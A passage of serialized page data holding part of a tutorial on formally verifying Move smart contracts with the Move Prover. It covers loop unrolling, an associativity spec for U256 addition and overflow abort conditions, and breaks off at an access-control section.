9298],{"type":29,"value":11462},{"type":24,"tag":271,"props":19300,"children":19301},{"style":624},[19302],{"type":29,"value":12210},{"type":24,"tag":271,"props":19304,"children":19305},{"style":630},[19306],{"type":29,"value":16137},{"type":24,"tag":271,"props":19308,"children":19309},{"style":288},[19310],{"type":29,"value":4520},{"type":24,"tag":271,"props":19312,"children":19313},{"style":630},[19314],{"type":29,"value":16370},{"type":24,"tag":271,"props":19316,"children":19317},{"style":288},[19318],{"type":29,"value":4530},{"type":24,"tag":271,"props":19320,"children":19321},{"style":624},[19322],{"type":29,"value":5059},{"type":24,"tag":271,"props":19324,"children":19325},{"style":630},[19326],{"type":29,"value":16383},{"type":24,"tag":271,"props":19328,"children":19329},{"style":288},[19330],{"type":29,"value":4520},{"type":24,"tag":271,"props":19332,"children":19333},{"style":630},[19334],{"type":29,"value":16370},{"type":24,"tag":271,"props":19336,"children":19337},{"style":288},[19338],{"type":29,"value":4530},{"type":24,"tag":271,"props":19340,"children":19341},{"style":624},[19342],{"type":29,"value":627},{"type":24,"tag":271,"props":19344,"children":19345},{"style":630},[19346],{"type":29,"value":16202},{"type":24,"tag":271,"props":19348,"children":19349},{"style":288},[19350],{"type":29,"value":1069},{"type":24,"tag":271,"props":19352,"children":19353},{"class":273,"line":321},[19354],{"type":24,"tag":271,"props":19355,"children":19356},{"style":288},[19357],{"type":29,"value":16633},{"type":24,"tag":271,"props":19359,"children":19360},{"class":273,"line":330},[19361,19365,19369,19373,19377],{"type":24,"tag":271,"props":19362,"children":19363},{"style":288},[19364],{"type":29,"value":18955},{"type":24,"tag":271,"props":19366,"children":19367},{"style":630},[19368],{"type":29,"value":11462},{"type":24,"tag":271,"props":19370,"children":19371},{"style":624},[19372],{"type":29,"value":16432},{"type":24,"tag":271,"props":19374,"children":19375},{"style":630},[19376],{"type":29,"value":16202},{"type":24,"tag":271,"props":19378,"children":19379},{"style":288},[19380],{"type":29,"value":694},{"type":24,"tag":271,"props":19382,"children":19383},{"class":273,"line":339},[19384],{"type":24,"tag":271,"props":19385,"children":19386},{"style":288},[19387],{"type":29,"value":18979},{"type":24,"tag":25,"props":19389,"children":19390},{},[19391],{"type":29,"value":19392},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":24,"tag":25,"props":19394,"children":19395},{},[19396,19398,19403],{"type":29,"value":19397},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":24,"tag":135,"props":19399,"children":19401},{"className":19400},[],[19402],{"type":29,"value":17344},{"type":29,"value":19404}," function will always iterate exactly 4 times:",{"type":24,"tag":261,"props":19406,"children":19408},{"code":19407,"language":10717,"meta":7,"className":10718,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n let a1 = get(&a, i);\n let b1 = get(&b, i);\n\n[...]\n",[19409],{"type":24,"tag":135,"props":19410,"children":19411},{"__ignoreMap":7},[19412,19420,19453,19460,19476,19483,19507,19531,19576,19620,19627],{"type":24,"tag":271,"props":19413,"children":19414},{"class":273,"line":274},[19415],{"type":24,"tag":271,"props":19416,"children":19417},{"style":2058},[19418],{"type":29,"value":19419},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":24,"tag":271,"props":19421,"children":19422},{"class":273,"line":284},[19423,19427,19432,19436,19440,19444,19449],{"type":24,"tag":271,"props":19424,"children":19425},{"style":278},[19426],{"type":29,"value":611},{"type":24,"tag":271,"props":19428,"children":19429},{"style":288},[19430],{"type":29,"value":19431}," WORDS",{"type":24,"tag":271,"props":19433,"children":19434},{"style":624},[19435],{"type":29,"value":12210},{"type":24,"tag":271,"props":19437,"children":19438},{"style":3887},[19439],{"type":29,"value":13576},{"type":24,"tag":271,"props":19441,"children":19442},{"style":624},[19443],{"type":29,"value":1712},{"type":24,"tag":271,"props":19445,"children":19446},{"style":477},[19447],{"type":29,"value":19448}," 4",{"type":24,"tag":271,"props":19450,"children":19451},{"style":288},[19452],{"type":29,"value":1069},{"type":24,"tag":271,"props":19454,"children":19455},{"class":273,"line":294},[19456],{"type":24,"tag":271,"props":19457,"children":19458},{"emptyLinePlaceholder":16},[19459],{"type":29,"value":327},{"type":24,"tag":271,"props":19461,"children":19462},{"class":273,"line":303},[19463,19467,19471],{"type":24,"tag":271,"props":19464,"children":19465},{"style":288},[19466],{"type":29,"value":4520},{"type":24,"tag":271,"props":19468,"children":19469},{"style":624},[19470],{"type":29,"value":17298},{"type":24,"tag":271,"props":19472,"children":19473},{"style":288},[19474],{"type":29,"value":19475},"]\n",{"type":24,"tag":271,"props":19477,"children":19478},{"class":273,"line":312},[19479],{"type":24,"tag":271,"props":19480,"children":19481},{"emptyLinePlaceholder":16},[19482],{"type":29,"value":327},{"type":24,"tag":271,"props":19484,"children":19485},{"class":273,"line":321},[19486,19491,19495,19499,19503],{"type":24,"tag":271,"props":19487,"children":19488},{"style":278},[19489],{"type":29,"value":19490},"let",{"type":24,"tag":271,"props":19492,"children":19493},{"style":630},[19494],{"type":29,"value":11125},{"type":24,"tag":271,"props":19496,"children":19497},{"style":624},[19498],{"type":29,"value":1712},{"type":24,"tag":271,"props":19500,"children":19501},{"style":477},[19502],{"type":29,"value":767},{"type":24,"tag":271,"props":19504,"children":19505},{"style":288},[19506],{"type":29,"value":1069},{"type":24,"tag":271,"props":19508,"children":19509},{"class":273,"line":330},[19510,19514,19518,19522,19526],{"type":24,"tag":271,"props":19511,"children":19512},{"style":749},[19513],{"type":29,"value":19164},{"type":24,"tag":271,"props":19515,"children":19516},{"style":288},[19517],{"type":29,"value":1357},{"type":24,"tag":271,"props":19519,"children":19520},{"style":630},[19521],{"type":29,"value":11462},{"type":24,"tag":271,"props":19523,"children":19524},{"style":624},[19525],{"type":29,"value":16432},{"type":24,"tag":271,"props":19527,"children":19528},{"style":288},[19529],{"type":29,"value":19530}," WORDS) {\n",{"type":24,"tag":271,"props":19532,"children":19533},{"class":273,"line":339},[19534,19538,19543,19547,19552,19556,19560,19564,19568,19572],{"type":24,"tag":271,"props":19535,"children":19536},{"style":278},[19537],{"type":29,"value":10738},{"type":24,"tag":271,"props":19539,"children":19540},{"style":630},[19541],{"type":29,"value":19542}," a1",{"type":24,"tag":271,"props":19544,"children":19545},{"style":624},[19546],{"type":29,"value":1712},{"type":24,"tag":271,"props":19548,"children":19549},{"style":598},[19550],{"type":29,"value":19551}," get",{"type":24,"tag":271,"props":19553,"children":19554},{"style":288},[19555],{"type":29,"value":606},{"type":24,"tag":271,"props":19557,"children":19558},{"style":624},[19559],{"type":29,"value":1137},{"type":24,"tag":271,"props":19561,"children":19562},{"style":630},[19563],{"type":29,"value":32},{"type":24,"tag":271,"props":19565,"children":19566},{"style":288},[19567],{"type":29,"value":158},{"type":24,"tag":271,"props":19569,"children":19570},{"style":630},[19571],{"type":29,"value":11462},{"type":24,"tag":271,"props":19573,"children":19574},{"style":288},[19575],{"type":29,"value":1155},{"type":24,"tag":271,"props":19577,"children":19578},{"class":273,"line":347},[19579,19583,19588,19592,19596,19600,19604,19608,19612,19616],{"type":24,"tag":271,"props":19580,"children":19581},{"style":278},[19582],{"type":29,"value":10738},{"type":24,"tag":271,"props":19584,"children":19585},{"style":630},[19586],{"type":29,"value":19587}," b1",{"type":24,"tag":271,"props":19589,"children":19590},{"style":624},[19591],{"type":29,"value":1712},{"type":24,"tag":271,"props":19593,"children":19594},{"style":598},[19595],{"type":29,"value":19551},{"type":24,"tag":271,"props":19597,"children":19598},{"style":288},[19599],{"type":29,"value":606},{"type":24,"tag":271,"props":19601,"children":19602},{"style":624},[19603],{"type":29,"value":1137},{"type":24,"tag":271,"props":19605,"children":19606},{"style":630},[19607],{"type":29,"value":10954},{"type":24,"tag":271,"props":19609,"children":19610},{"style":288},[19611],{"type":29,"value":158},{"type":24,"tag":271,"props":19613,"children":19614},{"style":630},[19615],{"type":29,"value":11462},{"type":24,"tag":271,"props":19617,"children":19618},{"style":288},[19619],{"type":29,"value":1155},{"type":24,"tag":271,"props":19621,"children":19622},{"class":273,"line":356},[19623],{"type":24,"tag":271,"props":19624,"children":19625},{"emptyLinePlaceholder":16},[19626],{"type":29,"value":327},{"type":24,"tag":271,"props":19628,"children":19629},{"class":273,"line":365},[19630,19634,19638],{"type":24,"tag":271,"props":19631,"children":19632},{"style":288},[19633],{"type":29,"value":4520},{"type":24,"tag":271,"props":19635,"children":19636},{"style":624},[19637],{"type":29,"value":17298},{"type":24,"tag":271,"props":19639,"children":19640},{"style":288},[19641],{"type":29,"value":19475},{"type":24,"tag":25,"props":19643,"children":19644},{},[19645],{"type":29,"value":19646},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":24,"tag":261,"props":19648,"children":19650},{"code":19649},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n \"Result\": \"Success\"\n}\n",[19651],{"type":24,"tag":135,"props":19652,"children":19653},{"__ignoreMap":7},[19654],{"type":29,"value":19649},{"type":24,"tag":25,"props":19656,"children":19657},{},[19658,19660,19665,19666,19672],{"type":29,"value":19659},"For the ",{"type":24,"tag":213,"props":19661,"children":19662},{},[19663],{"type":29,"value":19664},"Associative Property",{"type":29,"value":1357},{"type":24,"tag":135,"props":19667,"children":19669},{"className":19668},[],[19670],{"type":29,"value":19671},"a+(b+c) = (a+b)+c",{"type":29,"value":19673},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":24,"tag":261,"props":19675,"children":19677},{"code":19676,"language":10717,"meta":7,"className":10718,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n let result_1 = add(b, c);\n let result_11 = add(a, result_1);\n let result_2 = add(a, b);\n let result_22 = add(c, result_2);\n\n let cmp = compare(&result_11, &result_22);\n if ( cmp == EQUAL ) true else false\n}\n",[19678],{"type":24,"tag":135,"props":19679,"children":19680},{"__ignoreMap":7},[19681,19758,19797,19838,19877,19918,19925,19975,20014],{"type":24,"tag":271,"props":19682,"children":19683},{"class":273,"line":274},[19684,19688,19693,19697,19701,19705,19709,19713,19717,19721,19725,19729,19733,19737,19741,19745,19749,19754],{"type":24,"tag":271,"props":19685,"children":19686},{"style":630},[19687],{"type":29,"value":14824},{"type":24,"tag":271,"props":19689,"children":19690},{"style":598},[19691],{"type":29,"value":19692}," add_assoc_property",{"type":24,"tag":271,"props":19694,"children":19695},{"style":288},[19696],{"type":29,"value":606},{"type":24,"tag":271,"props":19698,"children":19699},{"style":630},[19700],{"type":29,"value":32},{"type":24,"tag":271,"props":19702,"children":19703},{"style":624},[19704],{"type":29,"value":12210},{"type":24,"tag":271,"props":19706,"children":19707},{"style":3887},[19708],{"type":29,"value":12448},{"type":24,"tag":271,"props":19710,"children":19711},{"style":288},[19712],{"type":29,"value":158},{"type":24,"tag":271,"props":19714,"children":19715},{"style":630},[19716],{"type":29,"value":10954},{"type":24,"tag":271,"props":19718,"children":19719},{"style":624},[19720],{"type":29,"value":12210},{"type":24,"tag":271,"props":19722,"children":19723},{"style":3887},[19724],{"type":29,"value":12448},{"type":24,"tag":271,"props":19726,"children":19727},{"style":288},[19728],{"type":29,"value":158},{"type":24,"tag":271,"props":19730,"children":19731},{"style":630},[19732],{"type":29,"value":578},{"type":24,"tag":271,"props":19734,"children":19735},{"style":624},[19736],{"type":29,"value":12210},{"type":24,"tag":271,"props":19738,"children":19739},{"style":3887},[19740],{"type":29,"value":12448},{"type":24,"tag":271,"props":19742,"children":19743},{"style":288},[19744],{"type":29,"value":2693},{"type":24,"tag":271,"props":19746,"children":19747},{"style":624},[19748],{"type":29,"value":12210},{"type":24,"tag":271,"props":19750,"children":19751},{"style":3887},[19752],{"type":29,"value":19753}," bool",{"type":24,"tag":271,"props":19755,"children":19756},{"style":288},[19757],{"type":29,"value":7145},{"type":24,"tag":271,"props":19759,"children":19760},{"class":273,"line":284},[19761,19765,19769,19773,19777,19781,19785,19789,19793],{"type":24,"tag":271,"props":19762,"children":19763},{"style":278},[19764],{"type":29,"value":10738},{"type":24,"tag":271,"props":19766,"children":19767},{"style":630},[19768],{"type":29,"value":15907},{"type":24,"tag":271,"props":19770,"children":19771},{"style":624},[19772],{"type":29,"value":1712},{"type":24,"tag":271,"props":19774,"children":19775},{"style":598},[19776],{"type":29,"value":17288},{"type":24,"tag":271,"props":19778,"children":19779},{"style":288},[19780],{"type":29,"value":606},{"type":24,"tag":271,"props":19782,"children":19783},{"style":630},[19784],{"type":29,"value":10954},{"type":24,"tag":271,"props":19786,"children":19787},{"style":288},[19788],{"type":29,"value":158},{"type":24,"tag":271,"props":19790,"children":19791},{"style":630},[19792],{"type":29,"value":578},{"type":24,"tag":271,"props":19794,"children":19795},{"style":288},[19796],{"type":29,"value":1155},{"type":24,"tag":271,"props":19798,"children":19799},{"class":273,"line":294},[19800,19804,19809,19813,19817,19821,19825,19829,19834],{"type":24,"tag":271,"props":19801,"children":19802},{"style":278},[19803],{"type":29,"value":10738},{"type":24,"tag":271,"props":19805,"children":19806},{"style":630},[19807],{"type":29,"value":19808}," result_11",{"type":24,"tag":271,"props":19810,"children":19811},{"style":624},[19812],{"type":29,"value":1712},{"type":24,"tag":271,"props":19814,"children":19815},{"style":598},[19816],{"type":29,"value":17288},{"type":24,"tag":271,"props":19818,"children":19819},{"style":288},[19820],{"type":29,"value":606},{"type":24,"tag":271,"props":19822,"children":19823},{"style":630},[19824],{"type":29,"value":32},{"type":24,"tag":271,"props":19826,"children":19827},{"style":288},[19828],{"type":29,"value":158},{"type":24,"tag":271,"props":19830,"children":19831},{"style":630},[19832],{"type":29,"value":19833},"result_1",{"type":24,"tag":271,"props":19835,"children":19836},{"style":288},[19837],{"type":29,"value":1155},{"type":24,"tag":271,"props":19839,"children":19840},{"class":273,"line":303},[19841,19845,19849,19853,19857,19861,19865,19869,19873],{"type":24,"tag":271,"props":19842,"children":19843},{"style":278},[19844],{"type":29,"value":10738},{"type":24,"tag":271,"props":19846,"children":19847},{"style":630},[19848],{"type":29,"value":15933},{"type":24,"tag":271,"props":19850,"children":19851},{"style":624},[19852],{"type":29,"value":1712},{"type":24,"tag":271,"props":19854,"children":19855},{"style":598},[19856],{"type":29,"value":17288},{"type":24,"tag":271,"props":19858,"children":19859},{"style":288},[19860],{"type":29,"value":606},{"type":24,"tag":271,"props":19862,"children":19863},{"style":630},[19864],{"type":29,"value":32},{"type":24,"tag":271,"props":19866,"children":19867},{"style":288},[19868],{"type":29,"value":158},{"type":24,"tag":271,"props":19870,"children":19871},{"style":630},[19872],{"type":29,"value":10954},{"type":24,"tag":271,"props":19874,"children":19875},{"style":288},[19876],{"type":29,"value":1155},{"type":24,"tag":271,"props":19878,"children":19879},{"class":273,"line":312},[19880,19884,19889,19893,19897,19901,19905,19909,19914],{"type":24,"tag":271,"props":19881,"children":19882},{"style":278},[19883],{"type":29,"value":10738},{"type":24,"tag":271,"props":19885,"children":19886},{"style":630},[19887],{"type":29,"value":19888}," result_22",{"type":24,"tag":271,"props":19890,"children":19891},{"style":624},[19892],{"type":29,"value":1712},{"type":24,"tag":271,"props":19894,"children":19895},{"style":598},[19896],{"type":29,"value":17288},{"type":24,"tag":271,"props":19898,"children":19899},{"style":288},[19900],{"type":29,"value":606},{"type":24,"tag":271,"props":19902,"children":19903},{"style":630},[19904],{"type":29,"value":578},{"type":24,"tag":271,"props":19906,"children":19907},{"style":288},[19908],{"type":29,"value":158},{"type":24,"tag":271,"props":19910,"children":19911},{"style":630},[19912],{"type":29,"value":19913},"result_2",{"type":24,"tag":271,"props":19915,"children":19916},{"style":288},[19917],{"type":29,"value":1155},{"type":24,"tag":271,"props":19919,"children":19920},{"class":273,"line":321},[19921],{"type":24,"tag":271,"props":19922,"children":19923},{"emptyLinePlaceholder":16},[19924],{"type":29,"value":327},{"type":24,"tag":271,"props":19926,"children":19927},{"class":273,"line":330},[19928,19932,19936,19940,19945,19949,19953,19958,19962,19966,19971],{"type":24,"tag":271,"props":19929,"children":19930},{"style":278},[19931],{"type":29,"value":10738},{"type":24,"tag":271,"props":19933,"children":19934},{"style":630},[19935],{"type":29,"value":15576},{"type":24,"tag":271,"props":19937,"children":19938},{"style":624},[19939],{"type":29,"value":1712},{"type":24,"tag":271,"props":19941,"children":19942},{"style":598},[19943],{"type":29,"value":19944}," compare",{"type":24,"tag":271,"props":19946,"children":19947},{"style":288},[19948],{"type":29,"value":606},{"type":24,"tag":271,"props":19950,"children":19951},{"style":624},[19952],{"type":29,"value":1137},{"type":24,"tag":271,"props":19954,"children":19955},{"style":630},[19956],{"type":29,"value":19957},"result_11",{"type":24,"tag":271,"props":19959,"children":19960},{"style":288},[19961],{"type":29,"value":158},{"type":24,"tag":271,"props":19963,"children":19964},{"style":624},[19965],{"type":29,"value":1137},{"type":24,"tag":271,"props":19967,"children":19968},{"style":630},[19969],{"type":29,"value":19970},"result_22",{"type":24,"tag":271,"props":19972,"children":19973},{"style":288},[19974],{"type":29,"value":1155},{"type":24,"tag":271,"props":19976,"children":19977},{"class":273,"line":339},[19978,19982,19987,19991,19995,20000,20004,20009],{"type":24,"tag":271,"props":19979,"children":19980},{"style":749},[19981],{"type":29,"value":5025},{"type":24,"tag":271,"props":19983,"children":19984},{"style":288},[19985],{"type":29,"value":19986}," ( ",{"type":24,"tag":271,"props":19988,"children":19989},{"style":630},[19990],{"type":29,"value":15641},{"type":24,"tag":271,"props":19992,"children":19993},{"style":624},[19994],{"type":29,"value":1031},{"type":24,"tag":271,"props":19996,"children":19997},{"style":288},[19998],{"type":29,"value":19999}," EQUAL ) ",{"type":24,"tag":271,"props":20001,"children":20002},{"style":278},[20003],{"type":29,"value":5670},{"type":24,"tag":271,"props":20005,"children":20006},{"style":749},[20007],{"type":29,"value":20008}," else",{"type":24,"tag":271,"props":20010,"children":20011},{"style":278},[20012],{"type":29,"value":20013}," false\n",{"type":24,"tag":271,"props":20015,"children":20016},{"class":273,"line":347},[20017],{"type":24,"tag":271,"props":20018,"children":20019},{"style":288},[20020],{"type":29,"value":1171},{"type":24,"tag":25,"props":20022,"children":20023},{},[20024],{"type":29,"value":20025},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":24,"tag":261,"props":20027,"children":20029},{"code":20028,"language":10717,"meta":7,"className":10718,"style":7},"spec add_assoc_property {\n aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n ensures result == true;\n}\n",[20030],{"type":24,"tag":135,"props":20031,"children":20032},{"__ignoreMap":7},[20033,20048,20152,20175],{"type":24,"tag":271,"props":20034,"children":20035},{"class":273,"line":274},[20036,20040,20044],{"type":24,"tag":271,"props":20037,"children":20038},{"style":630},[20039],{"type":29,"value":15990},{"type":24,"tag":271,"props":20041,"children":20042},{"style":630},[20043],{"type":29,"value":19692},{"type":24,"tag":271,"props":20045,"children":20046},{"style":288},[20047],{"type":29,"value":7145},{"type":24,"tag":271,"props":20049,"children":20050},{"class":273,"line":284},[20051,20055,20059,20064,20068,20072,20076,20080,20084,20088,20092,20096,20100,20104,20108,20112,20116,20120,20124,20128,20132,20136,20140,20144,20148],{"type":24,"tag":271,"props":20052,"children":20053},{"style":630},[20054],{"type":29,"value":17607},{"type":24,"tag":271,"props":20056,"children":20057},{"style":288},[20058],{"type":29,"value":1357},{"type":24,"tag":271,"props":20060,"children":20061},{"style":598},[20062],{"type":29,"value":20063},"value_of_U256",{"type":24,"tag":271,"props":20065,"children":20066},{"style":288},[20067],{"type":29,"value":606},{"type":24,"tag":271,"props":20069,"children":20070},{"style":630},[20071],{"type":29,"value":32},{"type":24,"tag":271,"props":20073,"children":20074},{"style":288},[20075],{"type":29,"value":8823},{"type":24,"tag":271,"props":20077,"children":20078},{"style":624},[20079],{"type":29,"value":1012},{"type":24,"tag":271,"props":20081,"children":20082},{"style":598},[20083],{"type":29,"value":17409},{"type":24,"tag":271,"props":20085,"children":20086},{"style":288},[20087],{"type":29,"value":606},{"type":24,"tag":271,"props":20089,"children":20090},{"style":630},[20091],{"type":29,"value":10954},{"type":24,"tag":271,"props":20093,"children":20094},{"style":288},[20095],{"type":29,"value":16550},{"type":24,"tag":271,"props":20097,"children":20098},{"style":624},[20099],{"type":29,"value":1012},{"type":24,"tag":271,"props":20101,"children":20102},{"style":598},[20103],{"type":29,"value":17409},{"type":24,"tag":271,"props":20105,"children":20106},{"style":288},[20107],{"type":29,"value":606},{"type":24,"tag":271,"props":20109,"children":20110},{"style":630},[20111],{"type":29,"value":578},{"type":24,"tag":271,"props":20113,"children":20114},{"style":288},[20115],{"type":29,"value":8823},{"type":24,"tag":271,"props":20117,"children":20118},{"style":624},[20119],{"type":29,"value":17648},{"type":24,"tag":271,"props":20121,"children":20122},{"style":3887},[20123],{"type":29,"value":17365},{"type":24,"tag":271,"props":20125,"children":20126},{"style":624},[20127],{"type":29,"value":3895},{"type":24,"tag":271,"props":20129,"children":20130},{"style":3887},[20131],{"type":29,"value":17365},{"type":24,"tag":271,"props":20133,"children":20134},{"style":624},[20135],{"type":29,"value":3895},{"type":24,"tag":271,"props":20137,"children":20138},{"style":3887},[20139],{"type":29,"value":17365},{"type":24,"tag":271,"props":20141,"children":20142},{"style":624},[20143],{"type":29,"value":3895},{"type":24,"tag":271,"props":20145,"children":20146},{"style":3887},[20147],{"type":29,"value":17365},{"type":24,"tag":271,"props":20149,"children":20150},{"style":288},[20151],{"type":29,"value":1069},{"type":24,"tag":271,"props":20153,"children":20154},{"class":273,"line":294},[20155,20159,20163,20167,20171],{"type":24,"tag":271,"props":20156,"children":20157},{"style":630},[20158],{"type":29,"value":17905},{"type":24,"tag":271,"props":20160,"children":20161},{"style":630},[20162],{"type":29,"value":16869},{"type":24,"tag":271,"props":20164,"children":20165},{"style":624},[20166],{"type":29,"value":1031},{"type":24,"tag":271,"props":20168,"children":20169},{"style":278},[20170],{"type":29,"value":1717},{"type":24,"tag":271,"props":20172,"children":20173},{"style":288},[20174],{"type":29,"value":1069},{"type":24,"tag":271,"props":20176,"children":20177},{"class":273,"line":303},[20178],{"type":24,"tag":271,"props":20179,"children":20180},{"style":288},[20181],{"type":29,"value":1171},{"type":24,"tag":25,"props":20183,"children":20184},{},[20185],{"type":29,"value":20186},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":24,"tag":261,"props":20188,"children":20189},{"code":19649},[20190],{"type":24,"tag":135,"props":20191,"children":20192},{"__ignoreMap":7},[20193],{"type":29,"value":19649},{"type":24,"tag":25,"props":20195,"children":20196},{},[20197,20199,20206],{"type":29,"value":20198},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":24,"tag":32,"props":20200,"children":20203},{"href":20201,"rel":20202},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[36],[20204],{"type":29,"value":20205},"spec-lang.md",{"type":29,"value":20207}," in the Move Repository.",{"type":24,"tag":62,"props":20209,"children":20211},{"id":20210},"use-cases",[20212],{"type":29,"value":20213},"Use Cases",{"type":24,"tag":25,"props":20215,"children":20216},{},[20217],{"type":29,"value":20218},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":24,"tag":25,"props":20220,"children":20221},{},[20222],{"type":29,"value":20223},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":24,"tag":85,"props":20225,"children":20227},{"id":20226},"error-conditions",[20228],{"type":29,"value":20229},"Error Conditions",{"type":24,"tag":25,"props":20231,"children":20232},{},[20233,20235,20241],{"type":29,"value":20234},"Taking an example from ",{"type":24,"tag":135,"props":20236,"children":20238},{"className":20237},[],[20239],{"type":29,"value":20240},"std::fixed_point32",{"type":29,"value":20242},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":24,"tag":261,"props":20244,"children":20246},{"code":20245,"language":10717,"meta":7,"className":10718,"style":7}," spec schema MultiplyAbortsIf {\n val: num;\n multiplier: FixedPoint32;\n aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n }\n spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n (val * multiplier.value) >> 32\n }\n",[20247],{"type":24,"tag":135,"props":20248,"children":20249},{"__ignoreMap":7},[20250,20271,20291,20312,20358,20366,20429,20467],{"type":24,"tag":271,"props":20251,"children":20252},{"class":273,"line":274},[20253,20257,20262,20267],{"type":24,"tag":271,"props":20254,"children":20255},{"style":630},[20256],{"type":29,"value":16641},{"type":24,"tag":271,"props":20258,"children":20259},{"style":630},[20260],{"type":29,"value":20261}," schema",{"type":24,"tag":271,"props":20263,"children":20264},{"style":3887},[20265],{"type":29,"value":20266}," MultiplyAbortsIf",{"type":24,"tag":271,"props":20268,"children":20269},{"style":288},[20270],{"type":29,"value":7145},{"type":24,"tag":271,"props":20272,"children":20273},{"class":273,"line":284},[20274,20279,20283,20287],{"type":24,"tag":271,"props":20275,"children":20276},{"style":630},[20277],{"type":29,"value":20278}," val",{"type":24,"tag":271,"props":20280,"children":20281},{"style":624},[20282],{"type":29,"value":12210},{"type":24,"tag":271,"props":20284,"children":20285},{"style":630},[20286],{"type":29,"value":17438},{"type":24,"tag":271,"props":20288,"children":20289},{"style":288},[20290],{"type":29,"value":1069},{"type":24,"tag":271,"props":20292,"children":20293},{"class":273,"line":294},[20294,20299,20303,20308],{"type":24,"tag":271,"props":20295,"children":20296},{"style":630},[20297],{"type":29,"value":20298}," multiplier",{"type":24,"tag":271,"props":20300,"children":20301},{"style":624},[20302],{"type":29,"value":12210},{"type":24,"tag":271,"props":20304,"children":20305},{"style":3887},[20306],{"type":29,"value":20307}," FixedPoint32",{"type":24,"tag":271,"props":20309,"children":20310},{"style":288},[20311],{"type":29,"value":1069},{"type":24,"tag":271,"props":20313,"children":20314},{"class":273,"line":303},[20315,20320,20325,20329,20334,20338,20343,20348,20353],{"type":24,"tag":271,"props":20316,"children":20317},{"style":630},[20318],{"type":29,"value":20319}," aborts_if",{"type":24,"tag":271,"props":20321,"children":20322},{"style":598},[20323],{"type":29,"value":20324}," spec_multiply_u64",{"type":24,"tag":271,"props":20326,"children":20327},{"style":288},[20328],{"type":29,"value":606},{"type":24,"tag":271,"props":20330,"children":20331},{"style":630},[20332],{"type":29,"value":20333},"val",{"type":24,"tag":271,"props":20335,"children":20336},{"style":288},[20337],{"type":29,"value":158},{"type":24,"tag":271,"props":20339,"children":20340},{"style":630},[20341],{"type":29,"value":20342},"multiplier",{"type":24,"tag":271,"props":20344,"children":20345},{"style":288},[20346],{"type":29,"value":20347},") > MAX_U64 ",{"type":24,"tag":271,"props":20349,"children":20350},{"style":630},[20351],{"type":29,"value":20352},"with",{"type":24,"tag":271,"props":20354,"children":20355},{"style":288},[20356],{"type":29,"value":20357}," EMULTIPLICATION;\n",{"type":24,"tag":271,"props":20359,"children":20360},{"class":273,"line":312},[20361],{"type":24,"tag":271,"props":20362,"children":20363},{"style":288},[20364],{"type":29,"value":20365}," }\n",{"type":24,"tag":271,"props":20367,"children":20368},{"class":273,"line":321},[20369,20373,20377,20381,20385,20389,20393,20397,20401,20405,20409,20413,20417,20421,20425],{"type":24,"tag":271,"props":20370,"children":20371},{"style":630},[20372],{"type":29,"value":16641},{"type":24,"tag":271,"props":20374,"children":20375},{"style":630},[20376],{"type":29,"value":13924},{"type":24,"tag":271,"props":20378,"children":20379},{"style":598},[20380],{"type":29,"value":20324},{"type":24,"tag":271,"props":20382,"children":20383},{"style":288},[20384],{"type":29,"value":606},{"type":24,"tag":271,"props":20386,"children":20387},{"style":630},[20388],{"type":29,"value":20333},{"type":24,"tag":271,"props":20390,"children":20391},{"style":624},[20392],{"type":29,"value":12210},{"type":24,"tag":271,"props":20394,"children":20395},{"style":630},[20396],{"type":29,"value":17438},{"type":24,"tag":271,"props":20398,"children":20399},{"style":288},[20400],{"type":29,"value":158},{"type":24,"tag":271,"props":20402,"children":20403},{"style":630},[20404],{"type":29,"value":20342},{"type":24,"tag":271,"props":20406,"children":20407},{"style":624},[20408],{"type":29,"value":12210},{"type":24,"tag":271,"props":20410,"children":20411},{"style":3887},[20412],{"type":29,"value":20307},{"type":24,"tag":271,"props":20414,"children":20415},{"style":288},[20416],{"type":29,"value":2693},{"type":24,"tag":271,"props":20418,"children":20419},{"style":624},[20420],{"type":29,"value":12210},{"type":24,"tag":271,"props":20422,"children":20423},{"style":630},[20424],{"type":29,"value":17438},{"type":24,"tag":271,"props":20426,"children":20427},{"style":288},[20428],{"type":29,"value":7145},{"type":24,"tag":271,"props":20430,"children":20431},{"class":273,"line":330},[20432,20436,20440,20444,20449,20453,20458,20462],{"type":24,"tag":271,"props":20433,"children":20434},{"style":288},[20435],{"type":29,"value":16423},{"type":24,"tag":271,"props":20437,"children":20438},{"style":630},[20439],{"type":29,"value":20333},{"type":24,"tag":271,"props":20441,"children":20442},{"style":624},[20443],{"type":29,"value":3895},{"type":24,"tag":271,"props":20445,"children":20446},{"style":630},[20447],{"type":29,"value":20448}," multiplier",{"type":24,"tag":271,"props":20450,"children":20451},{"style":624},[20452],{"type":29,"value":41},{"type":24,"tag":271,"props":20454,"children":20455},{"style":288},[20456],{"type":29,"value":20457},"value) ",{"type":24,"tag":271,"props":20459,"children":20460},{"style":624},[20461],{"type":29,"value":8252},{"type":24,"tag":271,"props":20463,"children":20464},{"style":477},[20465],{"type":29,"value":20466}," 32\n",{"type":24,"tag":271,"props":20468,"children":20469},{"class":273,"line":339},[20470],{"type":24,"tag":271,"props":20471,"children":20472},{"style":288},[20473],{"type":29,"value":20365},{"type":24,"tag":85,"props":20475,"children":20477},{"id":20476},"access-control-policies",[20478],{"type":29,"value":20479},"Access Control 